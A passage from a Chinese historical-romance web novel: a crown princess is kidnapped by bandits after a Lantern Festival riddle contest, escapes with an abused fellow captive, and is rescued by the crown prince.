裴宴景瞧着眼前人,心脏又砰砰的乱跳,他想他一定是完了,竟然觉得白雪可爱到他舍不得被旁人瞧见,木木的开口说道:“好看。”
白雪取下面具瞧了又瞧,那爱不释手的样子,惹得一旁的裴宴景笑出了声,白雪白了他一眼。
24.上元节2
裴宴景伸手随意的取下一只面具,戴在脸上,双手放在膝盖上支撑弯腰凑近白雪道:“我戴这个怎么样?”
白雪一转头看见的就是一张放大的脸,脸上戴着红色的面具,一时间竟慌了神。
一旁的老板解释道:“少年戴的这面具是摊面具里的将军,摊面具可用于驱鬼辟邪、祈福佑吉、除病灭灾、镇宅、求子、兴旺等。”
裴宴景满脑子只听见四个字求子、兴旺,眼神不自觉的就飘向了白雪的肚子,幸好有面具遮挡,白雪看不清他脸上的神情。
最终两人脸上都戴着各自选择的面具,白雪戴着兔子面具,裴宴景戴着将军面具,牵着手在京城的街道里漫步。
前方竟围满了人,不知是在做什么,偶尔听见几个字猜…迷,白雪拉着裴宴景上前,挤进人群。
众人围着一老者,老者胡子发白,身上的衣服瞧着贵气十足,不知是哪里来的富贵老头,只听他说道:“还有人要来挑战一下吗?”
“猜对了,我手中这玉佩可就送给他了。”
白雪瞧着那玉像是羊脂玉,温润、醇厚的感觉,突然就来了兴致,倒不是对那玉有兴趣,而是对猜字谜感兴趣,但还不等白雪说话,一男子从角落里站出来道:“我来。”
裴宴景看出白雪的心思,小声道:“你也想玩?”
白雪点点头:“嗯。”
老者:“好,来往不逢人,打一字。”
男子想都没想立即开口道:“起。”
老者:“两点天上来,打一字。”
男子:“关。”
老者决定来个难的,随即道:“一边绿,一边红,一边怕水,一边怕虫,打一字。”
男子沉吟片刻后,摇摇头退回人群。
老者:“谁来?”
白雪怕被人抢先,立马走上前道:“秋。”
老者笑着说道:“啊,这位小姑娘答对了。”
“上不在上,下不在下,不可在上,且宜在下。”
这题有些难,白雪思考片刻才道:“一。”
老者佩服的看向白雪道:“小姑娘戴着面具看着可可爱爱的,没想到猜字迷这么厉害?”
白雪谦虚道:“还行。”
老者:“行,那我们来点难的。”表情严肃继续开口道:“花谢花飞飘满天,打一成语。”
白雪惊讶道:“您不是说猜字谜吗?”
“怎么变成猜成语了。”
老者笑而不语的看着她。
裴宴景还以为白雪答不出来,刚想上前,脚步已经迈出了半步,便听到白雪回答道:“落英缤纷。”
裴宴景听到白雪答出后,脚步收回,站在原地,眼神满意得像在看自己的孩子一样,那副吾家有女初长成的模样。
老者神色满意,笑道:“姑娘不错嘛,两个黄鹂鸣翠柳,打一成语。”
白雪沉吟片刻道:“有声有色。”
老者将玉佩递给白雪道:“姑娘,这玉佩就送你了。”
老者话音刚落,从人群里传来几声:“不服,我不服。”之类的话来。
老者眼神严肃看向人群,语气冰冷,气场全开道:“不服就站出来,躲在人后说话算什么本事?”
此话一出刚才叫嚣的几人没在开口,也没人敢站出来,人群里说话的声音也小了许多,一时间气氛有些尴尬。
老者仿佛毫无察觉一般道:“来,姑娘拿着。”
白雪这才伸手接过玉佩道:“谢谢你,老爷爷。”
老者摆摆手:“不用谢,小玩意儿罢了。”
那玉握在手中像一块羊油一般,表面光泽油润,手感细腻滑糯,仿佛能与肌肤融为一体,白雪盯着看了看上面,写着一个莫字,对裴宴景道:“你看这,写了个莫字。”
裴宴景盯着看了一眼,便说道:“你将它收好,万不可叫旁人瞧了去,也不可送与旁人。”
白雪疑惑道:“送给你也不行吗?”
裴宴景虽然很想要,但他不想抢走本属于白雪的机会,无论这块玉有何作用:“这是属于你的机会。”
白雪不明白这句话什么意思,不过是一块上等的羊脂玉而已,怎么就成为了裴宴景嘴中的机会,问道:“机会?”
裴宴景解释道:“曾经我听说了一个传闻,传闻有一隐世家族,不出世,不入世,不参与任何活动,也不让家族里任何人参与到朝政之中,但他们家族每十年会在外以各种形式送出一块玉佩,但无人知晓这玉佩有何作用。”
白雪看着手中的玉佩道:“就是这个?”
裴宴景点点头道:“很像。”
周围狂欢声此起彼伏,鼓乐齐鸣由远及近,裴宴景与白雪齐齐看向远方,那里一艘巨大的花船,船身缀满琉璃灯盏,如一座漂浮的宫殿,上面站着表演的乐队,以及拿着龙灯的表演者,船头还有几名表演的舞者,正在朝两人的方向缓慢行驶。
白雪把玉佩随手塞入袖中,指着灯兴奋地说道:“哇,那个灯好大啊。”
突然拥挤的人潮将两人挤散,裴宴景立马寻找白雪的身影,白雪大喊:“我在这里。”裴宴景听见声音,朝声音看去,哪里还有白雪的身影,只看见那花船与他擦肩而过。
白雪喊出那句话后,便被人从后面掳走,那人捂着她的嘴,将她掳进花船中,她大喊却无人能听见她的声音,外面正喜气洋洋的看着表演。
“你叫破喉咙也不会有人听见。”
突然出现的声音吓了白雪一跳,她警惕地朝声音来源看去,只看见一个穿着一身黑的男人站在暗处,要不是突然的亮光一闪而过,白雪还不一定能看见他道:“你是什么人?为什么要绑架我?”
黑衣人冷笑一声,没有回答,朝白雪走来。
白雪警惕地看向他,见他举起右手,白雪举起右臂挡住,黑衣人眼神闪过一闪而逝的惊讶,接着白雪的左手化爪到达黑衣人的脖颈处,黑衣人一个后空翻躲过致命一击。
黑衣人从懒散变
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得认真,取下腰间的匕首,朝白雪袭来,白雪捡起地上的棍子,反手挡住匕首,用力朝黑衣人的方向一震,黑衣人被震得后退了几步。
白雪举起根子朝他袭去,两人打架惊动了上面的人,上面下来两个,加入打斗,白雪一打三有些吃力,被身后之人一棍子打到后背,脱力朝前扑了几步,运气非常不好的撞入黑衣人的刀上,白雪捂着腹部,还是没躲过被手刃。
白雪的想象到此结束,如果最后都是被打晕,何不现在装作晕倒,在黑衣人手刚接触到白雪的脖颈处时,白雪便装作昏倒过去。
黑衣人在白雪晕倒的一瞬间还有些疑惑,没想到自己的力气现在变得这么大了吗?不过才刚接触到她,还没用力就晕了过去。
白雪听见脚步声,原本以为那黑衣人走了,没想到听到有人问道:“怎么样?”
另一个人回答道:“一个手无缚鸡之力的女子而已,我一人足矣,已经晕倒了。”
白雪猜回答的这个人应该是之前的黑衣人,心里有些疑惑为何要绑架她?但两人没在开口,也没有离开的脚步声,她也不敢轻举妄动。
与此同时,裴宴景没找到人,环顾四周,找到最高点,一个飞檐走壁便抵达最高点,紧盯着人群,一个也不敢放过,直到看见一个戴着和白雪相同的兔子面具闯入他视野中。
裴宴景立即朝那人赶去,拍了拍那肩膀,见那人疑惑的回头问道:“你是谁?”
这声音与白雪大不相同,裴宴景这才发现这人的穿着与白雪也有些不同,这时他才警觉也许白雪是出事了。
裴宴景离开人群,拿出信号弹,朝天空一放。
肖玉见到信号弹以为让他放烟花,还有些疑惑,现在就放吗?但裴宴景已经让他放了,他不放岂不是不听命令,随即手一抬,周围的人立马点火。
砰~烟花声响起,天空绽放出五颜六色的烟花,看着炫彩、漂亮极了。
裴宴景看见烟花眼中闪过一闪而逝的懊恼,他准备的惊喜不知白雪能看见吗?
而此时的白雪被几人抬下花船,正好听见周围人的欢呼声,与烟花响起的声音,趁无人注意眯着眼睛看了一眼,天空正好绽放出烟花,绚烂夺目,下一秒便被转移到马车上。
听见之前那人的声音再次响起:“告诉二爷,这货可是高品,务必不要让人逃出来。”
驾的一声,马车便开始快速移动。
与此同时,裴宴景再次朝天空放起信号弹,肖玉看见才明白,这是出事了,扔下一句“出事了,走。”一行人立马朝信号弹地方赶去。
肖玉见裴宴景满脸凝重一人站在街道上,身旁不见白雪的身影,心里咯噔一声,有一个不好的念头,太子妃不会失踪了吧?上前开口道:“爷,太子妃……”
话还未说完,便被裴宴景打断道:“她失踪了,立马找到她,不要错过每一个地方,不管是西城还是东城,就算掘地三尺也要将人找到!”
肖玉立马回答道:“是。”
25.遇故人
一行人开始朝各个地方行动,只为找到太子妃。
裴宴景:“去城门守着,进出的人全部仔细探查,一旦发现太子妃的消息,立即告诉我,不要惊动旁人。”
白雪的头在马车移动中被撞到,她抱着头又不敢出声,嘶~
好痛!
如果现在把马车上的人弄死,行吗?
白雪这样想着,小心翼翼地挪动,不对……这个地方怎么这么狭窄?
什么情况?
“吁~”白雪感受到马车停下,旁人的声音逐渐进入她的耳里。
“停,临时检查,这么晚去哪里的?”说着话,对身边的人使了眼神,身边人立马上前检查马车。
车夫跳下车道:“回家,我住在贤明村。”声音渐渐变小,拿出一些银票递给那人,小声问道:“是出什么事了吗?”
韩林看了一眼银票,见这人如此上道,说道:“我也不清楚,就通知我们找人,找谁又不说,啊烦死了,本来我应该在家和女儿玩的。”
车夫顿时明白道:“是啊,上头那些人就是这样,想一出是一出。”
就在这时,白雪敲了敲,咚咚咚的声音传出,韩林警惕道:“什么声音?”
车夫闪过一丝杀意,而后憨厚的掀开马车,里面赫然出现一只鸡,笑道:“啊,我带了一只鸡,可能是它发出的声音?”
检查马车的人什么也没找到,对韩林使个眼神,韩林走向下一辆马车,挥手道:“走吧。”
车夫立马上车,一鞭子甩在马背上,喊道:“驾~”
白雪突然有些后悔,早知道之前就算拼命也要与那黑衣人拼一拼。
现在可如何是好?
算了,先看看究竟是怎么回事吧。
白雪感受到马车渐渐停下……
怎么回事?
到了吗?
“下货吧,注意别碰着了,很精贵。”
脚步声渐渐远去……脚步声渐渐走近。
小谷:“都来到这里了,能有多贵,三年前那位不也说贵吗?”
张哥:“嘘~小声点,别被人听见了,你脑袋不要了?”
小谷环顾四周后,小声道:“张哥,你说这位能坚持多久?哈哈哈哈哈哈哈……”
□□声渐渐传入白雪耳里,与此同时还有开门的声音,白雪立马闭上双眼,装作昏迷的样子。
两人抬下白雪,小谷看见白雪的脸,神色变了一瞬,而后恢复那副猥琐的面貌,小心翼翼地问了句:“张哥,为什么绑她?”
张哥看了看左右,没人发现表情严肃道:“在这里,不该问的,一句也别多问。”
小谷一副受教的模样道:“张哥说的是。”
当门被关上后,白雪才试探着睁开双眼,眼前堆积着木头,看着有些像收集的柴薪,白雪猜测这应该是个柴房。
脚步声逐渐逼近,白雪立马躺下闭眼,小谷小心翼翼进入柴房,蹑手蹑脚关上房门,走向白雪观察着她是否醒来,双手逐渐伸向白雪……的肩膀,摇晃着她小声说道:“醒醒……醒醒。”
白雪装作不知情的模样,睁开双眼看见小谷放大的脸,刚要叫出声便被小谷捂住嘴,发出呜呜呜的声音。
小谷:“嘘~二小姐,你不认识我了?”
“我是小谷啊。”
白雪听见这个名字,仔细看向他的脸,陷入回忆之中……
小白雪爬到树上,费力的摘下长在树干尖端的梨,对树下的人说道:“快~接着。”
树下人的面貌渐渐与眼前之人重合。
白雪试探着开口:“小…谷?”
小谷重重的点头道:“是我。”听见外面说话的声音,警惕回头观察了一会儿,见无人推门,扶着白雪站起身道:“二小姐,先离开这里再说。”
白雪神色凝重的点头,与小谷离开柴房。
白雪看见右前方的火把与交流声,拍了拍小谷的肩膀,小声道:“有人来了。”
两人立马躲到一旁的石头后面。
举着火把的人与同伴边交流,边往白雪他们这边过来。
“你说真的有车夫说的那么漂亮吗?”
“嘘~你知道那是谁吗?”
“谁啊?”
同伴凑近小声道:“我听说是太子妃。”
惊呼声响起:“嘶~二爷胆子可真大。”
脚步声与交谈声渐渐远去,直到白雪再也听不见后才收回目光,继续往前走。
小谷凑近白雪小声询问道:“二小姐,您成了太子妃?”
白雪没回答而是反问道:“怎么了?”
不是她信不过眼前人,而是经过这么多年没接触过的人,她又不是三岁小孩,怎么可能因为是小时候家里的小厮而全身心的信任?
小谷眼珠子一转,原本打算把白雪带入无人的地方,这么多年没开荤了,他也有些想念女人的味道,再说了便宜二爷,还不如先便宜了他,但现在得知白雪是太子的女人后,他决定保护她,或许自己也能离开这鬼地方,想到这里,他露出一个笑容道:“没有。”
白雪看了他一眼,小心翼翼地朝前面走,直到面前出现一个分叉路口,问道:“走哪边?”
小谷也不知道啊,他也没来过这里,挠挠头思考片刻,随意指了一条道:“这边。”
白雪疑惑的看了他一眼,怀疑道:“你是不是也不知道走哪边?”
小谷还未回答便看见一道信号弹,在天空上绽放,完了…暴露了,怎么办?
白雪看向天空,不明白这是什么意思,询问道:“这是怎么了?”
与此同时,裴宴景与肖玉已经出城,两人都驾着一匹快马,正快马加鞭的赶往白雪的地方。
裴宴景神色凝重问道:“三年前那岐元杰是不是也抓了京城中一位小姐?”
肖玉思考片刻道:“是的太子,名叫李妍。”
李妍?这人的名字好熟悉。
裴宴景:“李妍?”
肖玉:“皇上本打算将她赐给您做侧妃,没想到还没下旨便出了那事,后来便不了了之。”
砰地一
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声,两人都看见了天空中的那道信号弹。
裴宴景双腿夹紧马肚,右手牵近绳索,左手甩了一鞭子在马屁上,“驾~”
裴宴景扔下一句“快点,可能出事了。”便骑乘而去。
肖玉快马加鞭追上裴宴景。
小谷看向白雪,见她还在看天空,眼神中流露出狠戾,反手抓住白雪。
白雪低头看了一眼抓住她喉咙的手,语气冷静道:“小谷,你什么意思?”
小谷在白雪耳边说道:“二小姐,你不要怪我,怪只怪你自己不中用,被二爷抓住。”推了推白雪道:“走。”
白雪不在废话,瞅准时机在小谷失神的一瞬间,对着小谷的脸一个肘击袭去,小谷立马捂着鼻子后退了两步,而后看向白雪道:“看来是我小瞧了你,没想到二小姐失去母亲被禁闭这么多年,还能学会武功,不愧是能成为太子妃的女人。”
白雪跑过去领着小谷的衣领道:“少废话,告诉我怎么出去?”
小谷仰天长笑,直到眼泪花笑出来才停止道:“不知道,您以为我就不想出去?”
“这里地势复杂,易守难攻,前后都是悬崖峭壁,想出去?”
“您且等着吧。”
白雪见问不出什么,身后的脚步声也逐渐逼近,吵闹声不断传来,见小谷想开口说话,从头上取下簪子,狠狠插入小谷喉咙,而后松开手,满脑子都是她杀人了,但身后的人不容许她一直陷入痛苦,她必须尽快找到离开的法子,白雪回过神来,跌跌撞撞的随便选择了一条道路。
听小谷那话,她随便如何也出去,不如找个地方藏起来,白雪一边跑,一边搜寻能藏起来的地方。
皇天不负有心人,白雪终于找到一间茅草屋,屋子周围全是树林,白雪看了眼身后即将到来的大部队,进屋会不会是自投罗网。
白雪准备离开这里,寻找新的躲避点,没想到出来一女子,白雪警惕地看向她。
李妍见眼前人有些眼熟,像白雅琴的妹妹白雪,不过她不是被关禁闭了吗?看了眼不远处的举着火把找人的山匪们道:“你是白雅琴的妹妹?”
白雪眼神闪过一丝惊讶,没想到她居然认识自己,不过她不禁脸上满是疤痕,就连全身能露出来的地方都是疤痕,白雪没回答,依旧警惕的看着她,担心她会突然叫出声,吸引那些人的注意,手中死死的捏着簪子,簪子的尖端还残留着血迹。
李妍轻声道:“我叫李妍,是你姐姐的好朋友。”
好朋友这三个字,李妍加重了语气,听着像是仇人一般,白雪道:“你是被她害的?”
李妍没回答而是看了眼越来越近的那群人道:“你若想活命,进来我可以保住你。”
白雪看着她没行动,心里在思考她值不值得信任,没想到李妍说完这句话根本就不等白雪回答,仿佛笃定白雪一定会进来一般,门都没关。
白雪看了眼越来越近的人群,一咬牙走了进去关上门,屋子虽然破旧不堪,却被李妍打扫得干干净净,一看就是热爱生活的人,怎么会沦落至此?
26.逃命
李妍打开床下的机关道:“躺进去吧。”
白雪看了一眼床,有些疑惑这个地方真的不会被发现吗?
李妍像是看出白雪的疑惑,说道:“我自己做的,他们不知道。”
自己做的?为什么要做这种地方?但白雪没有再说什么,而是直接躲了进去,如果真的被发现,只能自认倒霉了。
李妍刚关上床,剧烈的敲门声响起,吓了她一跳,整个身体都一哆嗦,差点摔倒,李妍好不容易站好,新一轮剧烈的敲门声响起的人同时岐元杰的声音传进李妍耳里。
“快开门,臭|婊|子。”
李妍跌跌撞撞走过去打开门,整个人缩在门后面,岐元杰一把抓着李妍的头发,把她从门后面抓出来。
李妍头部传来的剧痛让她本能的想捂头,动作做到一半,像是突然想起什么似的,什么都没做,连尖叫都没有,而是咬紧牙关生怕发出一点声音。
岐元杰抽出腰间的鞭子,一鞭接着一鞭打在李妍身上,嘴中不停说着侮辱的话语:“臭|婊|子,老子让你动作慢,叫啊,怎么不叫?她|妈|的……”
许是李妍不声不响,连动作都不曾有,让他打了几鞭就没了兴趣,停下手抓住李妍的头发,让她抬起头来,弯下腰在她耳边说道:“那个女人来过这里没有?”
岐元杰见李妍不搭理他,加深了动作,且摇晃了李妍的头,语气粗暴的吼道:“说!”
李妍什么也没说,像没听见一样,连痛苦的表情都不曾有,仿佛早已习惯一般。
岐元杰没了兴趣,随意的松开手,李妍的头撞到地上发出咚的一声。
白雪藏在床底捂住嘴巴,眼中满是害怕,那声音她在里面听得清清楚楚,她没想到李妍的日子居然这么痛苦,让她更加害怕自己被抓住后会是什么日子……
岐元杰环顾四周,见手下愣在原地,气不打一处来,直接甩了一鞭子在手下身上,吼道:“找啊!看着我干什么?”
手下们立即行动在屋里搜寻,岐元杰叉着腰,咳~呸……
一口痰吐在李妍身上,李妍躺在地上动都没动,眉头都没皱一下,眼睛无神仿佛什么都没看见。
床下、米缸、衣柜所有能找的地方都被他们翻了个遍,东西丢得到处都是,一个下属发现床沿有些不对劲,抬手就要摸上去…
李妍的手慢慢捏紧衣角,脸上表情没变。
“老大……”
岐元杰看了眼屋外道:“走。”说完抬脚朝屋外走去。
所有人立马跟着岐元杰行动,那名下属愣在原地刚想说话,交好的同伴一掌打在他背上,改变动作勾着他往外走:“走啊,发什么呆,不怕老大的鞭子?”
待众人走远后,李妍才爬起来,看了眼身上的痰,眼神闪过一丝厌恶,看了一眼屋外,正好与回头的岐元杰对上眼神,岐元杰脸上慢慢浮现出笑容,那笑容可怕到李妍吓得后退了一步。
李妍以为自己厌恶的情绪被岐元杰发现,没想到岐元杰只是笑了笑便回头,不知下属回报了什么,他不满的开始往回走。
李妍看着岐元杰领着下属走远后,才敢关上门,靠着门慢慢的下滑,抱着双膝从眼眶里流出两行热泪……
白雪不知道发生了什么,只能听见翻箱倒柜的声音,然后听见一句“走啊,发什么呆,不怕老大的鞭子?”脚步声渐渐远去的声音,心里不禁有些疑惑,为什么李妍还不打开床,让她出来,里面的空气也渐渐稀薄,她快要呼吸不过来,又不敢发出声音,怕被人发现。
万幸的是在白雪即将坚持不住的时候,床被打开,白雪大口的呼吸着空气……
李妍弯腰看向白雪,伸出手道:“出来吧。”
白雪握住李妍的手……李妍忍着剧痛用力把白雪拽出来,白雪站定看向李妍,发现她身上又增加了一些疤痕,满眼心疼的看向李妍身上的伤口,想触碰又怕她会疼道:“很疼吧?”
李妍把手往身后一背藏住疤痕,但还是疼到吸气,故作轻松道:“我都已经习惯了,你走吧。”
白雪认真地说道:“你跟我一起走吧。”
李妍没有回答,转身收拾屋子道:“再不走就来不及了,等他反应过来,你就走不了了。”
白雪脑海里有两个小人在打架,邪恶小人说:走吧,李妍自己说的让你走。
天使小人说:你真要走?人家为了救你,不惜被打成那样,你良心去哪里了?
邪恶小人:再不走就来不及了,难道你也想像她一样?你看她身上有一处好肉吗?被打得皮开肉绽的,你想想你自己被打成这样,你的日子可怎么办啊……
天使小人:你可是个医生,真能做到见死不救?你看她眼睛红红的,肯定是哭过了,一定是被打哭的……
邪恶小人:你都说被打哭了,难道你也想被打……
白雪摇摇头,赶走脑海里的两个小人道:“你跟我一起走,裴宴景肯定会来救我的。”
裴宴景三个字一出,李妍愣在原地,像是想起什么可怕的事一般,蹲在地上捂着头大声叫道:“不要…不要…我再也不敢了,求求你…放过我…”
白雪愣了几秒,反应过来立马走上前,蹲在她身边抱住她道:“没事,没事,一切都过去了。”
李妍抬起头看向白雪,眼神里满是迷茫道:“你是谁?”把白雪推倒后站起来道:“你为什么在我家?”
李妍说着往外走,嘴里还不停地说道:“我要去告诉岐元杰,让他把你抓起来,这样他就能放过我了,对…告诉岐元杰,把你抓起来。”
邪恶小人:看吧,我就说让你跑了,非要刺激她。
天使小人:人家只是犯病了。
白雪走上前抬手,用力砍在李妍的脖颈处,刚刚还喋喋不休的李妍,立马像没了灵魂一般瘫软,白雪眼疾手快的接住李妍,背在背上走出房间,寻找出路。
与此同时,岐元杰走回山头,远远的就看见裴宴景穿着一袭黑色锦袍站在悬崖边
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,腰上别着一个面具,背对着他们,他的侍卫站在他的身后。
岐元杰还未走近,脸上的笑容看起来皮笑肉不笑般,大声说道:“什么风把太子您这样的贵客吹来了。”
裴宴景回头开门见山道:“来你这找个人。”
岐元杰面对身旁的兄弟们,故作严肃道:“我们山头今日可来了什么太子要找的人?立马交出来,晚了我可就保不住你们了。”
兄弟们立马回道:“没有啊。”
“太子要找什么人?”
“今日我们山头没来人啊。”
“你知道吗?”
“我不知道…”
肖玉见他们这态度,心里有气立马就想上前,被裴宴景拦住道:“你想要什么?”
岐元杰看着裴宴景没说话,心里却在思考他真的要因为二皇子得罪太子吗?
如果裴宴景还是几个月前半只脚踏进地府的人,那他二话不说,立马说出没这个人,但现在裴宴景活生生地站在这里……
想到这里,岐元杰立马笑出声来,与之前大不相同,这笑容就真实了许多,说道:“太子,您说笑了,走…我们坐下谈。”
裴宴景同岐元杰坐下,就这样看着他,看他葫芦里究竟卖的什么药。
岐元杰挥挥手道:“上酒。”
裴宴景抬手示意不喝道:“今日有事就不喝了,改日再来找你喝酒。”
岐元杰的笑僵在脸上一瞬,下一秒又恢复笑意道:“瞧我这脑子,太子您想找什么人?”
裴宴景看着他没说话,眼神再明白不过,意思是别他妈跟我绕圈子,立马把人给老子交出来。
岐元杰虽然是外表看起来五大三粗,像是个粗鄙无脑之人,但能做到这山头的老大,那也是从底下慢慢爬上来的人,他杀过的人数不胜数,今日若不是裴宴景,换个人敢这样对他岐元杰,也要问问他手里的鞭子同不同意。
岐元杰在思考裴宴景这底气来自哪里?难道他的人已经将他的山头围起来,只等裴宴景一声令下便攻上来?
还是说来的人只有他裴宴景和他的侍卫?
岐元杰不敢赌,只能笑道:“太子您找的人,我真的不知道在哪里。”
就在这时,岐元杰的属下拖着小谷的尸体,尸体的脖颈处还插着白雪遗留的簪子:“老大,死了个人。”
岐元杰毫不在意地挥挥手道:“死了就他妈死了,找老子干什么?”
裴宴景回头看了一眼,又看向岐元杰,簪子……回头死死的盯着小谷脖颈处的簪子,那簪子分明就是今日他替白雪|插|上的那一根簪子。
下属“哦”了一声就要拉着小谷的尸体走。
肖玉看出裴宴景的不对劲,立马开口道:“等一下。”
岐元杰不明所以的问道:“怎么了?”
肖玉走过去取下簪子,擦干净上面的血迹递给裴宴景。
裴宴景接过簪子,看着手中的簪子,冷冷开口:“人在哪?”
27.回宫
岐元杰见裴宴景这样子,也知道不能再与他打太极了,立马严肃道:“我还在找。”
裴宴景抬头看着他,笑容满面道:“是吗?”
裴宴景这样子比他不笑还可怕,有人曾说过当太子笑时,你千万别以为他是脾气好,你有胆承受他的怒火就够胆继续与他说笑,否则就哪里来的滚回哪里去。
岐元杰赔笑道:“太子您别生气,我们真的在找她,不知道她去哪里了。”拍着胸脯说道:“但我敢肯定,没人碰过她。”
裴宴景起身扔下一句:“最好是。”
两人走远后,肖玉见四周无人,小声说道:“这么轻易就放过他了吗?”
裴宴景哪能就这样轻易放过他,只是现在在他心里更重要的事是白雪的安慰:“先找到白雪再说。”
岐元杰对着身边的下属道:“愣着做什么?还不他妈的赶紧去找?”
身边下属立马一哄而散,各自寻找白雪的身影,不过也有人根本不知道自己找的是谁,纷纷问同伴:“我们究竟要找谁啊?”
“你问我,我也不知道,还不是只有找呗。”
军师见周围没人,凑近岐元杰问道:“二哥,怎么说?”
岐元杰眼神冰冷如毒蛇:“说不准裴宴景有没有后手,先把人找到再说,千万别被裴宴景抢先了。”
白雪背李妍不知跑了多久,李妍才悠悠转醒,迷茫的看向白雪,拍了拍她的肩膀道:“我怎么了?”
白雪见李妍这样就知道,李妍自己可能都没发现自己生病了,喘着粗气道:“你突然晕倒了,我就想着带你一起跑,但我跑了这么久都没找到出路,你知道从哪里可以出去吗?”
李妍环顾四周道:“你先把我放下来吧。”
李妍其实对于这里不是很熟悉,至于她为什么一个人住在那里,无非就是被岐元杰抛弃了,不想再看见她了,觉得她很无趣,打她、骂她、侮辱她、她都无动于衷。
白雪见她仿佛又要变成之前那样,立马开口转移她注意力:“我们现在往哪里走?”
白雪的话打断了李妍的情绪,她抬头迷茫的看了一眼白雪后,指着前方的道路:“应该是那里。”
没走多久,白雪就听到了脚步声,拉着李妍躲进一旁的草丛里,小声说道:“嘘~别出声。”
“你让谁别出声?”
突然出现的男声吓了两人一跳。
白雪:“啊”的一声尖叫,往后退了半步,跌坐在地上,看向声音来源,只见一个半大小子蹲在草丛里,像是在拉粑粑。
李妍跌坐在地上,声音颤颤巍巍道:“小李,你…”
小李神秘兮兮的问道:“你们在玩捉迷藏吗?”拍着双手,兴奋不已:“我也要玩…”
白雪感觉这人脑子有问题,凑近李妍手指着头,小声问道:“他是不是这里……?”
李妍点了点头,肯定了白雪说的话。
白雪看了眼远处的人,正在朝这边走来,突然觉得可以利用这个男孩,小声与他商量道:“现在你是大王,你得保护我们两个。”指着来的那群人说道:“那些人是坏蛋,你得让他们离开这里,能做到吗?”
小李严肃的点了点头,回答:“能!”那模样真有点像老大的气势,只是很可惜是个小傻子。
白雪拉着李妍走向深处,很快那群人到来,其中一名络腮胡大胖子看见小李,松了口气问道:“小傻子,你在这干嘛呢?”
小李一副看傻子的样子说道:“我拉屎呢,你也想拉?”
络腮胡大胖子捂着嘴,挥了挥手仿佛要把这股臭味赶跑一般道:“你看见一个女人没有?”
小李有些疑惑不是两个?怎么只有一个?反正那个姐姐说的要保护她们,不管一个还是两个,想到这里,摇摇头说道:“没有。”
络腮胡有些不信,疑惑道:“当真?”
小李天真地说道:“你是不是傻?”
络腮胡手举拳头就要砸向他,被身边的人拦住道:“你跟他个傻子计较什么?”
络腮胡放下拳头:“也是。”
白雪紧张的看向那群人,生怕那傻子说出她们两个,看见那群人离开后,才放下心来,幸好……
白雪、李妍两人的目光都在那群人身上,根本就没注意到小李,突然出现的小李吓了两人一跳,但两人根本不敢大叫,怕被发现……
白雪捂着胸口,大口喘着粗气,一副被吓到失魂落魄的模样。
李妍则是拍打了小李一下道:“人吓人,吓死人,知道吗?”
小李一副受教的模样道:“我知道了。”闪着大眼睛天真烂漫:“姐姐,你们去哪里玩啊?我也想去……”
李妍与白雪对视一眼道:“姐姐们要做的事很危险,不能带你哦。”
小李立马坐在地上哇的一下大哭道:“我要去,我也要去……”
声音太大,白雪看向那群人,见没发现,立马去捂住他的嘴道:“嘘…姐姐带你去。”
小李立马不哭了,兴奋道:“真的吗?”
李妍不可置信白雪竟是如此的单纯、善良、蠢,什么人都带,难怪会被关禁闭这么多年,不过她是怎么出来的?
白雪连哄带骗的说:“我们玩捉迷藏,你在这里闭眼数一百个数字,然后睁开眼来找我们,好不好?”
小李乖巧的点点头道:“好。”闭着眼睛就开始数:“一、二、三……”
白雪蹑手蹑脚的拉着李妍离开此地,走远后,李妍才问道:“我们真的要和他玩捉迷藏吗?”
白雪看了她一眼,没想到她这么天真道:“我们直接跑。”
不知跑了多久,终于看见了之前小谷说的悬崖峭壁,白雪探出脑袋看了一眼下面,陡峭无比,真不知道这个老大是怎么找到这个地方的,难道只有一条出口?
就在这时,白雪又听见脚步声,都不知道往哪里躲,四周无处可躲,只能认命的回头,那脚步声越来越近,越来越近…仿佛跑过来一般,白雪回头的一瞬间撞到坚实的臂膀,嘶~鼻子好痛…<
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这味道…是裴宴景吗?
白雪被人拥入怀里,什么情况?
难道真的是裴宴景?
白雪小心翼翼地说了一句:“裴宴景?”
裴宴景闷闷的回道:“是我。”同时把人抱得更紧了。
听见熟悉的声音,白雪像是泄了劲般,声音都带上了哭腔道:“我还以为我再也看不见你了。”
裴宴景只是一味的把人拥入怀中,紧紧的抱着,仿佛这样才有找到人的真实感。
李妍看着拥抱的两人有些不知所措。
肖玉看着眼前这个满身疤痕的女人,不明白太子妃为什么带着这个女人,难道不怕她告诉这个山头的老大吗?问道:“你是?”
李妍低着头:“李妍。”声音小得如蚊子叫。
肖玉没听清:“啊?”
李妍抬头大声喊道:“我说我叫李妍。”
这句话一出,裴宴景这才看向李妍,眼神中带着几分惊讶,但那惊讶也不过一瞬间而已,她怎么变成这样?仔细看向白雪,发现她身上除了有些脏之外,并没有什么情况,幸好…
白雪:“你们怎么知道我在这里?”
裴宴景听见远处的吵闹声,牵起白雪的手:“我们先离开这里再说。”
四个人很快离开这座山,裴宴景怀里坐着白雪,两人一起坐在马上,像京城的方向走去。
而山里一群人正在厮杀,裴宴景的人占了上风,而岐元杰的军师早在此前,便已悄悄乔装打扮离开山。
而那个傻子,早不到两人,正在朝山外行走,不知是他好运还是故意,竟一路都没被人发现,最后被好心人收留。
白雪与裴宴景回到宫中,白雪躺在床上,心里还有些后怕,她不知道自己得罪了谁?为什么要这样对她。
裴宴景仿佛有读心术一般道:“是冲着我来的。”
白雪转头看向裴宴景,迷茫的“啊”了一声。
裴宴景重复了一句,继续说道:“因为你的出现,我没死,让他怀疑你会医术。”
白雪:“所以呢?”
裴宴景耐心的说道:“他要保证你再也不能给我看病,但他不想暴露自己,所以让山匪岐元杰绑架你,裴筠没想到你会武功,逃了出来,不然他可能就会直接把你杀掉以绝后患。”
白雪这才明白,原来是因为二皇子裴筠,突然想起那个岐元杰打李妍的场景,虽然她没看见,但她听得一清二楚,说道:“岐元杰?能不能杀掉他?”
裴宴景:“早在我们出山之时,我就已经吩咐手下办了此事。”把白雪拥入怀中道:“现在他应该已经踏上黄泉路了。”
白雪这才松了口气,放下心来后,疲惫如山倒,很快就睡着了。
裴宴景无奈的叹了口气,抱紧怀中的白雪,如稀世珍宝一般,不愿放手,也沉沉睡去。
当白雪收拾完毕走出房间时,就已经看见站在院子里的李妍,周围的丫鬟小厮时不时的看向李妍,但都没有说话,大多只是好奇。
28.出发
栖霞在白雪耳边小声道:“她一早就来找太子妃您了,一直站在原地等到现在。”
“我知道了。”说完,白雪抬腿走向李妍,问道:“怎么了?”
李妍回过神来,看向白雪道:“我这样很丑吧?”语气平淡得像是在问,今日天气怎么样?
